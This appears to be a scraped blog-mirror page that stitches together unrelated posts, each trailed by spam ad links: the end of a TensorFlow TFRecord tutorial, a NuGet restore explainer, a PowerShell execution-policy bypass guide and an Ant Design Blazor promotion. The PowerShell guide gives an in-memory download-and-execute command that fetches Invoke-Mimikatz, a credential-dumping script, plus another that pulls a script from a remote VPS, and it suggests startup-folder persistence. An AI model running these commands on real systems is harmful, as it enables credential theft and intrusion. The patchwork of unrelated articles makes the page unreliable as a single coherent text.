    78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
    79         coord.request_stop()
    80         coord.join(threads)
    81 
    82 
    83 if __name__ == "__main__":
    84     # main()
    85     start()

    從本地批量的讀取圖片案例

     

    案列6:TFRecord文件打包與讀取

     1 def write_TFRecord(filename, data, labels, is_shuffler=True):
     2     """
     3     將數據打包成TFRecord格式
     4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
     5     :param data: 需要打包的文件路徑名;list
     6     :param labels: 對應文件的標籤;list
     7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
     8     :return: None
     9     """
    10     im_data = list(data)
    11     im_labels = list(labels)
    12 
    13     index = [i for i in range(im_data.__len__())]
    14     if is_shuffler:
    15         np.random.shuffle(index)
    16 
    17     # 創建寫入器,然後使用該對象寫入樣本example
    18     writer = tf.python_io.TFRecordWriter(filename)
    19     for i in range(im_data.__len__()):
    20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
    21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
    22 
    23         # # 獲取當前的圖片數據  方式一:
    24         # data = cv2.imread(im_d)
    25         # # 創建樣本
    26         # ex = tf.train.Example(
    27         #     features=tf.train.Features(
    28         #         feature={
    29         #             "image": tf.train.Feature(
    30         #                 bytes_list=tf.train.BytesList(
    31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
    32         #             "label": tf.train.Feature(
    33         #                 int64_list=tf.train.Int64List(
    34         #                     value=[im_l])),
    35         #         }
    36         #     )
    37         # )
    38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
    39         data = tf.gfile.FastGFile(im_d, "rb").read()
    40         ex = tf.train.Example(
    41             features=tf.train.Features(
    42                 feature={
    43                     "image": tf.train.Feature(
    44                         bytes_list=tf.train.BytesList(
    45                             value=[data])), # 此時的data已經是bytes類型
    46                     "label": tf.train.Feature(
    47                         int64_list=tf.train.Int64List(
    48                             value=[im_l])),
    49                 }
    50             )
    51         )
    52 
    53         # 寫入將序列化之後的樣本
    54         writer.write(ex.SerializeToString())
    55     # 關閉寫入器
    56     writer.close()

    TFRecord文件打包案列

     

     1 import tensorflow as tf
     2 import cv2
     3 
     4 def read_TFRecord(file_list, batch_size=10):
     5     """
     6     讀取TFRecord文件
     7     :param file_list: 存放TFRecord的文件名,List
     8     :param batch_size: 每次讀取圖片的數量
     9     :return: 解析後圖片及對應的標籤
    10     """
    11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
    12     reader = tf.TFRecordReader()
    13     _, ex = reader.read(file_queue)
    14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
    15 
    16     feature = {
    17         'image': tf.FixedLenFeature([], tf.string),
    18         'label': tf.FixedLenFeature([], tf.int64)
    19     }
    20     example = tf.parse_example(batch, features=feature)
    21 
    22     images = tf.decode_raw(example['image'], tf.uint8)
    23     images = tf.reshape(images, [-1, 32, 32, 3])
    24 
    25     return images, example['label']
    26 
    27 
    28 
    29 def main():
    30     # filelist = ['data/train.tfrecord']
    31     filelist = ['data/test.tfrecord']
    32     images, labels = read_TFRecord(filelist, 2)
    33     with tf.Session() as sess:
    34         sess.run(tf.local_variables_initializer())
    35         coord = tf.train.Coordinator()
    36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    37 
    38         try:
    39             while not coord.should_stop():
    40                 for i in range(1):
    41                     image_bth, _ = sess.run([images, labels])
    42                     print(_)
    43 
    44                     cv2.imshow("image_0", image_bth[0])
    45                     cv2.imshow("image_1", image_bth[1])
    46                 break
    47         except tf.errors.OutOfRangeError:
    48             print('read done')
    49         finally:
    50             coord.request_stop()
    51         coord.join(threads)
    52         cv2.waitKey(0)
    53         cv2.destroyAllWindows()
    54 
    55 if __name__ == "__main__":
    56     main()

    TFReord文件的讀取案列

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • nuget 包是如何還原的

    nuget 包是如何還原的

    Intro

    一直以來從來都只是簡單的用 nuget 包,最近想折騰一個東西,需要自己搞一個 nuget 包的解析,用戶指定 nuget 包的名稱和版本,然後去解析對應的 nuget 包並添加引用到項目,
    於是就想搞明白 nuget 包是怎麼還原的,對於本地已經下載了的 nuget 包又是怎麼找的

    Nuget 包的引用

    對於 dotnetcore 項目(這裏不算之前那種 project.json 的項目,只討論 *.csproj 這種項目),都是使用新的項目格式,PackageReference 模式

    示例:

    <PackageReference Include="WeihanLi.Common" Version="1.0.39" /> 
    

    對於 dotnet framework 項目,如果使用 PackageReference 包格式和上面一樣,如果是傳統的 packages.config 包形式,會有一個 packages.config 的文件包含引用的 nuget 包,文件內容示例:

    <?xml version="1.0" encoding="utf-8"?>
    <packages>
      <package id="Newtonsoft.Json" version="9.0.1" targetFramework="net452" />
    </packages>
    

    本文主要說明 dotnetcore 這種 PackageReference 這種形式

    nuget 包的還原

    nuget 包在第一次從 nuget.org 或自己的包源上下載之後會存放在本地的一個文件夾中,下次再需要相同版本的包還原時就會直接從本地的包中獲取,而這個保存的文件夾是 nuget 配置的一部分,在網上可以找到一些修改 nuget 默認保存 packages 文件夾的位置,但是這些文章都很類似,都只是給出了一個解決方案然而並沒有說明為什麼要這麼做,這麼做的根據是什麼並沒有說明,其實這種解決方案是添加了一個默認的 nuget 配置文件,修改了 nuget 包保存的位置

    nuget 配置

    默認配置

    nuget 會有一些默認的配置,可以參考官方文檔: https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section

    nuget 配置中有一個 globalPackagesFolder 的配置,是用來指定默認的 nuget 包保存的位置,在 Windows 上默認的保存位置是 %userprofile%\.nuget\packages,在 Linux/Mac 上默認的保存位置是 ~/.nuget/packages,可以使用 nuget.configNuGet.Config 配置文件來修改默認的保存文件,除此之外,還可以通過環境變量的方式,配置 NUGET_PACKAGES 來修改默認 nuget 包保存的位置

    默認配置文件

    nuget 配置的默認配置文件,官方文檔:https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config#options

    Windows 上默認配置文件的位置是 %AppData%\NuGet\NuGet.Config 這也是現在網上那些修改默認保存 nuget 包位置的解決方案,
    Linux/Mac 上大多是 ~/.config/NuGet/NuGet.Config,有的可能是 ~/.nuget/NuGet/NuGet.Config(和系統版本有關係)

    Windows 上默認是沒有這個配置文件的,添加這個默認配置文件之後就是全局作用的

    創建 %AppData%\NuGet\NuGet.Config 這個默認的配置文件,然後在這個配置文件里配置 globalPackagesFolder 來修改默認的 nuget 包保存路徑

    示例:

    <?xml version="1.0" encoding="utf-8"?>
    <configuration>
      <packageSources>
        <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
      </packageSources>
      <config> 
        <add key="globalPackagesFolder" value="D:\nuget\packages" />
      </config>
    </configuration>
    

    Reference

    • https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section
    • https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

  • 繞過PowerShell執行策略方法

    繞過PowerShell執行策略方法

    前言:

    默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

     

    什麼是PowerShell執行策略?

    PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

     

    為什麼我們要繞過執行政策?

    因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

    Windows原生支持
    能夠調用Windows API
    能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
    能夠避免被反病毒工具檢測
    大多數應用程序白名單解決方案已將其標記為“受信任”
    一種用於編寫許多開源Pentest工具包的媒介

     

    如何查看執行策略

    在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

    Get-ExecutionPolicy

     

     

    同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

    Get-ExecutionPolicy -List | Format-Table -AutoSize

     

     

    我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

    Set-ExecutionPolicy Restricted

     

     

    繞過PowerShell執行策略

    1、直接在Interactive PowerShell控制台中輸入powershell代碼
    複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

    Write-Host “It’s run!”;

     

     

    2、echo腳本並將其通過管道傳遞到PowerShell
    簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

    Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

     

     

    3、從文件讀取腳本並通過管道傳輸到PowerShell
    使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

    例1:Get-Content Powershell命令

    Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    例2:Type 命令

    type .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    4、從遠程下載腳本並通過IEX執行
    這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

    如無法使用github下載可換vps:

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

     

     

    5、使用使用command命令
    這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

    例1:完整的命令

    Powershell -command “Write-Host “Its run!””;

     

     

    示例2:簡短命令(-c)

    Powershell -c “Write-Host “It’s run!’”

    可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

     

     

    6、使用EncodeCommand命令
    這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

    例1: 完整的命令

    $command = “Write-Host ‘Its run!’”

    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

    $encodedCommand = [Convert]::ToBase64String($bytes)

    $encodedCommand

    powershell.exe -EncodedCommand $encodedCommand

     

     

    示例2:通過簡短的命令使用編碼字符串

    powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA

     

     

    7、使用Invoke-Command命令
    這是一個典型的通過交互式PowerShell控制台執行的方法。但最主要的是當PowerShell遠程處理開啟時我們可以用它來對遠程系統執行命令。這種技術不會導致配置更改或要求寫入磁盤。

    Invoke-command -scriptblock {Write-Host “Its run!”}

     

     

    8、下面的命令還可以用來抓取從遠程計算機的execution policy並將其應用到本地計算機。

    Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force

    這種方式經測試不可行。

    域環境下:

     

    工作組下:

     

     

    9、使用Invoke-Expression命令
    這是另一個典型的通過交互式PowerShell控制台執行的方法。這種技術不會導致配置更改或要求寫入磁盤。下面我列舉了一些常用的方法來通過Invoke-Expression繞過execution policy。

    例1:使用Get-Content的完整命令

    Get-Content .\demo.ps1 | Invoke-Expression

     

     

    示例2:使用Get-Content的簡短命令

    GC .\demo.ps1 | iex

     

     

    10、使用“Bypass”繞過Execution Policy
    當你通過腳本文件執行命令的時候這是一個很好的繞過execution policy的方法。當你使用這個標記的時候”沒有任何東西被阻止,沒有任何警告或提示”。這種技術不會導致配置更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy Bypass -File .\demo.ps1

     

     

    11、使用“Unrestricted”標記Execution Policy
    這類似於”Bypass”標記。當你使用這個標記的時候,它會”加載所有的配置文件並運行所有的腳本。如果你運行從網上下載的一個未被簽名的腳本,它會提示你需要權限”,這種技術不會導致配置的更改或要求寫入磁盤。

    PowerShell.exe -ExecutionPolicy UnRestricted -File .\demo.ps1

     

     

    12、使用“Remote-Signed”標記Execution Policy
    要想繞過執行限制,需要按照如下教程操作對腳本進行数字簽名。

    詳細參考:https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html

    直接使用Remote-signed標記腳本無法運行的

    PowerShell.exe -ExecutionPolicy Remote-signed -File .\demo.ps1

     

     

    13、通過交換AuthorizationManager禁用ExecutionPolicy
    下面的函數可以通過一個交互式的PowerShell來執行。一旦函數被調用”AuthorizationManager”就會被替換成空。最終結果是,接下來的會話基本上不受execution policy的限制。然而,它的變化將被應用於會話的持續時間。

    function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield(“_context”,”nonpublic,instance”).getvalue( $executioncontext)).gettype().getfield(“_authorizationManager”,”nonpublic,instance”).setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager “Microsoft.PowerShell”))}

    Disable-ExecutionPolicy

    .\demo.ps1

     

     

    13、把ExcutionPolicy設置成Process Scope
    執行策略可以應用於多層次的。這包括你控制的過程。使用這種技術,執行策略可以被設置為您的會話的持續時間不受限制。此外,它不會導致配置更改或需要寫入到磁盤。

    Set-ExecutionPolicy Bypass -Scope Process

     

     

    14、通過命令設置ExcutionPolicy為CurrentUser Scope
    這種方法和上面那種類似。但是這種方法通過修改註冊表將當前用戶環境的設置應用到當前用戶的環境中。此外,它不會導致在配置更改或需要寫入到磁盤。

    Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

     

     

    15、通過註冊表設置ExcutionPolicy為CurrentUser Scope
    在這個例子中,展示了如何通過修改註冊表項來改變當前用戶的環境的執行策略。

    HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell

     

     

    總結總結

    使用的execution policy可以幫助我們繞過powershell默認的限制,方便我們對windows更加靈活的管理。微軟從來沒有打算將這種限製作為一種安全控制。這就是為什麼有這麼多方式可以繞過它。

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    ※推薦評價好的iphone維修中心

  • .NET進行客戶端Web開發又一利器 – Ant Design Blazor

    .NET進行客戶端Web開發又一利器 – Ant Design Blazor

    你好,我是Dotnet9,繼上篇介紹Bootstrap風格的BlazorUI組件庫后,今天我來介紹另一款Blazor UI組件庫:一套基於 Ant Design 和 Blazor 的企業級組件庫。

    本文導航:

    • 一、關於Ant Design Blazor
    • 二、Ant Design Blazor的社區貢獻
      • 2.1 項目關注度
      • 2.2 Ant Design官方認可
      • 2.3 微軟官方認可
    • 三、Ant Design Blazor UI庫介紹
    • 四、Ant Design Blazor後續計劃
    • 五、Ant Design Blazor技術交流

    一、關於Ant Design Blazor

    項目名稱:Ant Design Blazor

    項目作者:James Yeung(社區發起者,目前項目參与度高,有較多貢獻者)

    開源許可協議:MIT

    項目地址:https://github.com/ant-design-blazor/ant-design-blazor

    特性

    • 提煉自企業級中後台產品的交互語言和視覺風格。
    • 開箱即用的高質量 Blazor 組件,可在多種託管方式共享。
    • 支持基於 WebAssembly 的客戶端和基於 SignalR 的服務端 UI 事件交互。
    • 支持漸進式 Web 應用(PWA)
    • 使用 C# 構建,多範式靜態語言帶來高效的開發體驗。
    • ️ 基於 .NET Standard 2.1,可直接引用豐富的 .NET 類庫。
    • 可與已有的 ASP.NET Core MVC、Razor Pages 項目無縫集成。

    關於開源協議:MIT

    參考百度百科

    被授權人權利

    被授權人有權利使用、複製、修改、合併、出版發行、散布、再授權及販售軟件及軟件的副本。
    
    被授權人可根據程序的需要修改授權條款為適當的內容。
    

    被授權人義務

    在軟件和軟件的所有副本中都必須包含版權聲明和許可聲明。
    

    其他重要特性

    此授權條款並非屬copyleft的自由軟件授權條款,允許在自由/開放源碼軟件或非自由軟件(proprietary software)所使用。
    
    MIT的內容可依照程序著作權者的需求更改內容。此亦為MIT與BSD(The BSD license, 3-clause BSD license)本質上不同處。
    
    MIT條款可與其他授權條款並存。另外,MIT條款也是自由軟件基金會(FSF)所認可的自由軟件授權條款,與GPL兼容。
    

    二、Ant Design Blazor的社區貢獻

    該庫是國內目前社區宣傳度做的最好的一款Blazor UI組件庫,對於Blazor的社區推廣起到很大的作用,Dotnet9是通過該庫作者的一篇文章《如何用 Blazor 實現 Ant Design 組件庫?》開始關注Blazor的,關於該庫作者的心路歷程,大家可點擊原文了解。

    距離作者發文已有3月之久,文中作者的部分期望應該說是實現了一個個小目標了,也體現在了對社區的貢獻上(對Blazor推廣作用):

    2.1 項目關注度

    作者將庫發布在Github上,README支持中英文,日常代碼提交使用英文,讓全球的.Neter參与其中,使得更多的社區成員開始關注Ant Design Blazor,也使得更多的社區成員開始關注Blazor的發展了。

    庫作者發文時star統計(2020年03月21日)

    3個月後的今天star統計(2020年06月20日)

    2.2 Ant Design官方認可

    原文作者的小期望:

    在為了與官方高度一致上的努力,還會繼續。希望有一天能在豐富 Blazor 生態的同時,還能成為被 Ant Design 生態認可的框架實現,能成為他們 Design 夢的一個延續。

    Ant Design官方前端實現介紹鏈接

    2.3 微軟官方認可

    微軟Build2020開發者大會Blazor介紹中,提及Ant Design Pro。

    一圖勝千言,得到微軟認可是對作者最大的獎勵,也是對社區的最好宣傳。

    三、Ant Design Blazor UI庫組件介紹

    Ant Design Blazor UI組件瀏覽地址:https://ant-design-blazor.github.io/

    Ant Design Blazor的開發初衷是盡量與Ant Design組件庫一致,可對比查看:Ant Design

    下面只對部分組件截圖介紹,更多組件請戳上面鏈接查看:

    3.1 首頁介紹

    網站風格和Ant Design官網高度一致,更方便熟悉Ant Design組件的朋友使用。

    3.2 組件概覽

    組件整體印象,這隻是其中一部分,豐富的組件需要點擊Ant Design Blazor了解更多喲。

    四、Ant Design Blazor後續計劃

    目前組件開發基本已經完成,可應用於常規項目開發,組件庫後續計劃:

    • 6月底發布0.1版本;
    • 添加測試、完善文檔、企業級應用和反饋;
    • 完成一個開箱即用的模板(偉大目標,像Ant Design Pro靠攏);
    • 添加頁面生成工具,類似UMI添加block,查看Ant Design的區塊介紹。

    五、Ant Design Blazor技術交流

    • 微信群
      可添加作者微信號拉你入群:JamesYeungMVP

    • 釘釘群

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

    台北網頁設計公司這麼多該如何選擇?

    ※智慧手機時代的來臨,RWD網頁設計為架站首選

    ※評比南投搬家公司費用收費行情懶人包大公開

    ※回頭車貨運收費標準